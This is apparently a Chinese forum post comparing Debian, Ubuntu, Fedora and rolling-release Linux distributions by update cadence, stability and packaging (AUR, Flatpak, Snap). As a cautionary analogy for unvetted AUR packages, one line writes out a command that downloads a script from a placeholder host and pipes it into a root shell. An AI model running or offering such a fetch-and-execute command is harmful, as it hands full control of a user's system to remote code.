个人的一些经验总结:
debian
更新最不频繁。两年一个大版本,中间会有小版本的更新,因此也最稳定。不过这也算是缺点,比如当前的 stable 版本里的 gnome-shell 还是 43 ,比目前 48 落后了不少。十分适合服务器那种使用场景(及时的安全更新,并且不会由于更新导致服务出问题)。
ubuntu 相对 debian 更新稍微频繁一点。一年一个大版本,中间也会有一些包的更新。当前 ubuntu25 里 gnome-shell 版本是 48.0 ,比最新版只落后几个小版本。
fedora 半年一个大版本,中间包的更新也十分频繁,因此也有人称之为半滚动发行版。频繁的更新也带来了各种不稳定,比如前些天 mutter 更新导致的窗口变得不可以点击。但好处在于,由于其是非滚动发行版的,因此你可以停留在目前版本不更新很长一段时间,之后再更新也不会挂掉。
滚动发行版(比如 arch 、debian sid 和 fedora rawhide 等等) 上游只要出新的版本就会被打包进仓库。频繁的更新带来的就是各种不稳定,比如上面提到的 mutter 的 bug 同样影响 arch 等其他滚动发行版。并且由于是滚动发行版,你长时间不更新之后再更新就容易挂掉。
除了包管理工具和更新频率以外,各种发行版在其他一些方面也有些细微差别。比如默认的文件系统是 btrfs 还是 ext4 ,默认 swap 是 zram 、zswap 还是硬盘的分区。还有一些 systemd 的服务管理方式,比如通过 socket 方式激活等。
我个人的建议是,一般就从 ubuntu 和 fedora (或者基于他们的衍生版)里选择作为个人桌面系统使用。debian 适合服务器,滚动发行版适合那种能给上游提 bug 和 issue 的人使用(否则当小白鼠也没有意义,只是折腾自己)。
arch 的一个优点就是 aur 提供了丰富的包,但要知道 aur 是谁都可以上传的,这意味着这并不比你执行`curl -s
http://not.a.malware.com/download | sudo bash`安全。同时 flathub 的存在使得 aur 的必要性变低了很多,flathub 包含了 QQ 、微信、网易云音乐和 WPS 。最重要的是 flatpak 允许你控制文件系统和网络的权限,能够避免国产软件扫盘。
我个人的选择是 fedora 的衍生版 fedora silverblue 。
同样是激进的方案,fedora 的方案比 ubuntu 的方案有品位得多。
比如 fedora 是第一个采用 systemd 和 wayland 等新技术的发行版,而最终其他各种发行版也选择了这条路线。相比之下,ubuntu 的做法则就像是硬塞各种私货,upstart 和 mir 现在可以说已经死了。
类似的 flatpak 和 snap 相比较,flatpak 更有前景。对于某些包(比如 firefox ),fedora 同时提供 flatpak 版本和 rpm 版本,而 ubuntu 只提供 snap 版本并且把源里的版本替换成 snap 的。